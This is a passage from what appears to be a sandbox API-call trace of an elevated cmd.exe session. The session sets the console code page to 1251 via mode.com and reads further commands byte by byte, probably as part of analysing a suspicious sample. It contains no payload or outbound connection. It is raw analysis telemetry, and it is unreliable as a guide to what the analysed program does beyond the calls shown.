_String2="PATH") returned -3 [0056.729] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0056.729] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0056.729] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0056.729] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0056.729] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0056.729] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0056.729] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0056.729] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0056.729] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0056.729] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0056.729] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0056.729] _wcsicmp (_String1="mode", _String2="START") returned -6 [0056.729] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0056.729] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0056.729] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0056.729] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0056.729] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0056.729] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0056.729] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0056.730] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0056.730] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0056.730] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0056.730] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0056.730] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0056.730] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0056.730] GetProcessHeap () returned 0x360000 [0056.730] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x218) returned 0x361ab0 [0056.730] GetProcessHeap () returned 0x360000 [0056.730] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x42) returned 0x3798a0 [0056.730] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0056.730] GetProcessHeap () returned 0x360000 [0056.730] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x420) returned 0x379a80 [0056.730] SetErrorMode (uMode=0x0) returned 0x0 [0056.730] SetErrorMode (uMode=0x1) returned 0x0 [0056.730] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x379a90, lpFilePart=0x24f440 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f440*="Desktop") returned 0x25 [0056.730] SetErrorMode (uMode=0x0) returned 0x1 [0056.731] GetProcessHeap () returned 0x360000 [0056.731] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x379a80, Size=0x66) returned 0x379a80 [0056.731] GetProcessHeap () returned 0x360000 [0056.731] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x379a80) returned 0x66 [0056.731] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0056.731] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0056.731] GetProcessHeap () returned 0x360000 [0056.731] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x128) returned 0x361cd0 [0056.731] GetProcessHeap () returned 0x360000 [0056.731] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x240) returned 0x379b00 [0056.738] GetProcessHeap () returned 0x360000 [0056.738] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x379b00, Size=0x12a) returned 0x379b00 [0056.738] GetProcessHeap () returned 0x360000 [0056.738] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x379b00) returned 0x12a [0056.738] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0056.738] GetProcessHeap () returned 0x360000 [0056.738] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xe8) returned 0x375b70 [0056.739] GetProcessHeap () returned 0x360000 [0056.739] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x375b70, Size=0x7e) returned 0x375b70 [0056.739] GetProcessHeap () returned 0x360000 [0056.739] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x375b70) returned 0x7e [0056.741] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.742] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0xffffffffffffffff [0056.742] GetLastError () returned 0x2 [0056.742] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0xffffffffffffffff [0056.742] GetLastError () returned 0x2 [0056.742] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0056.742] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0x375c00 [0056.742] GetProcessHeap () returned 0x360000 [0056.742] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x0, Size=0x28) returned 0x374640 [0056.742] FindClose (in: hFindFile=0x375c00 | out: hFindFile=0x375c00) returned 1 [0056.742] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0x375c00 [0056.743] GetProcessHeap () returned 0x360000 [0056.743] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x374640, Size=0x8) returned 0x3798f0 [0056.743] FindClose (in: hFindFile=0x375c00 | out: hFindFile=0x375c00) returned 1 [0056.743] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0056.743] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0056.743] GetConsoleTitleW (in: lpConsoleTitle=0x24f700, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0056.743] GetProcessHeap () returned 0x360000 [0056.743] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x21c) returned 0x379c40 [0056.743] GetConsoleTitleW (in: lpConsoleTitle=0x379c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0056.743] GetProcessHeap () returned 0x360000 [0056.743] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x379c40, Size=0xa8) returned 0x379c40 [0056.743] GetProcessHeap () returned 0x360000 [0056.743] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x379c40) returned 0xa8 [0056.743] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0056.744] GetProcessHeap () returned 0x360000 [0056.744] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x379c40 | out: hHeap=0x360000) returned 1 [0056.744] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f4b8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f478 | out: lpAttributeList=0x24f4b8, lpSize=0x24f478) returned 1 [0056.744] UpdateProcThreadAttribute (in: lpAttributeList=0x24f4b8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f468, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f4b8, lpPreviousValue=0x0) returned 1 [0056.744] GetStartupInfoW (in: lpStartupInfo=0x24f5d0 | out: lpStartupInfo=0x24f5d0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0056.744] GetProcessHeap () returned 0x360000 [0056.744] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x20) returned 0x374640 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0056.744] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0056.745] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0056.746] GetProcessHeap () returned 0x360000 [0056.746] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x374640 | out: hHeap=0x360000) returned 1 [0056.746] GetProcessHeap () returned 0x360000 [0056.746] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x12) returned 0x378900 [0056.746] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x24f4f0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f4a0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x24f4a0*(hProcess=0x54, hThread=0x50, dwProcessId=0x490, dwThreadId=0x6dc)) returned 1 [0056.753] CloseHandle (hObject=0x50) returned 1 [0056.753] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0056.753] GetProcessHeap () returned 0x360000 [0056.753] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c230 | out: hHeap=0x360000) returned 1 [0056.753] GetEnvironmentStringsW () returned 0x37aa10* [0056.753] GetProcessHeap () returned 0x360000 [0056.753] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xae8) returned 0x37b500 [0056.753] FreeEnvironmentStringsW (penv=0x37aa10) returned 1 [0056.753] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0056.754] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0056.754] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x24eda8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x24eda8, ReturnLength=0x0) returned 0x0 [0056.754] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x24ede0, nSize=0x380, lpNumberOfBytesRead=0x24eda0 | out: lpBuffer=0x24ede0*, lpNumberOfBytesRead=0x24eda0*=0x380) returned 1 [0056.754] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0057.920] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x24f3e8 | out: lpExitCode=0x24f3e8*=0x0) returned 1 [0057.920] CloseHandle (hObject=0x54) returned 1 [0057.920] _vsnwprintf (in: _Buffer=0x24f658, _BufferCount=0x13, _Format="%08X", _ArgList=0x24f3f8 | out: _Buffer="00000000") returned 8 [0057.920] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0057.920] GetProcessHeap () returned 0x360000 [0057.920] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37b500 | out: hHeap=0x360000) returned 1 [0057.920] GetEnvironmentStringsW () returned 0x37aa10* [0057.920] GetProcessHeap () returned 0x360000 [0057.920] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0e) returned 0x37eb10 [0057.920] FreeEnvironmentStringsW (penv=0x37aa10) returned 1 [0057.920] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0057.921] GetProcessHeap () returned 0x360000 [0057.921] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37eb10 | out: hHeap=0x360000) returned 1 [0057.921] GetEnvironmentStringsW () returned 0x37aa10* [0057.921] GetProcessHeap () returned 0x360000 [0057.921] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0e) returned 0x37eb10 [0057.921] FreeEnvironmentStringsW (penv=0x37aa10) returned 1 [0057.921] GetProcessHeap () returned 0x360000 [0057.921] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x378900 | out: hHeap=0x360000) returned 1 [0057.921] DeleteProcThreadAttributeList (in: lpAttributeList=0x24f4b8 | out: lpAttributeList=0x24f4b8) [0057.965] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0057.965] _get_osfhandle (_FileHandle=1) returned 0xf4 [0057.965] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0057.966] _get_osfhandle (_FileHandle=1) returned 0xf4 [0057.966] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a49e194 | out: lpMode=0x4a49e194) returned 0 [0057.966] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.966] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a49e198 | out: lpMode=0x4a49e198) returned 0 [0057.966] GetConsoleOutputCP () returned 0x4e3 [0057.966] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a4abfe0 | out: lpCPInfo=0x4a4abfe0) returned 1 [0057.966] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x375b70 | out: hHeap=0x360000) returned 1 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x379b00 | out: hHeap=0x360000) returned 1 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x361cd0 | out: hHeap=0x360000) returned 1 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x379a80 | out: hHeap=0x360000) returned 1 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x3798a0 | out: hHeap=0x360000) returned 1 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x361ab0 | out: hHeap=0x360000) returned 1 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x376510 | out: hHeap=0x360000) returned 1 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x374610 | out: hHeap=0x360000) returned 1 [0057.967] GetProcessHeap () returned 0x360000 [0057.967] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x3797e0 | out: hHeap=0x360000) returned 1 [0057.967] _vsnwprintf (in: _Buffer=0x4a4b6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f918 | out: _Buffer="\r\n") returned 2 [0057.967] _get_osfhandle (_FileHandle=1) returned 0xf4 [0057.967] GetFileType (hFile=0xf4) returned 0x3 [0057.967] _get_osfhandle (_FileHandle=1) returned 0xf4 [0057.967] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0057.967] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f8e8, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24f8e8*=0x2, lpOverlapped=0x0) returned 1 [0057.968] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0057.968] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a4ac0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0057.968] _vsnwprintf (in: _Buffer=0x4a49eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x24f928 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0057.968] _vsnwprintf (in: _Buffer=0x4a49ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x24f928 | out: _Buffer=">") returned 1 [0057.968] _get_osfhandle (_FileHandle=1) returned 0xf4 [0057.968] GetFileType (hFile=0xf4) returned 0x3 [0057.968] _get_osfhandle (_FileHandle=1) returned 0xf4 [0057.968] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0057.968] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x24f918, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24f918*=0x26, lpOverlapped=0x0) returned 1 [0057.968] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.968] GetFileType (hFile=0xe8) returned 0x3 [0057.968] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.968] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.968] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.968] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0057.968] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.968] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.968] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.968] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0057.968] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.968] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.969] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.969] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0057.969] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.969] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.969] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.969] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0057.969] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.969] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.969] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.969] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0057.969] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.969] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.969] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.969] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0057.969] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.969] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.969] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.969] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0057.969] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.969] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.969] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.969] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0057.969] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.969] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.969] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.970] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae330, 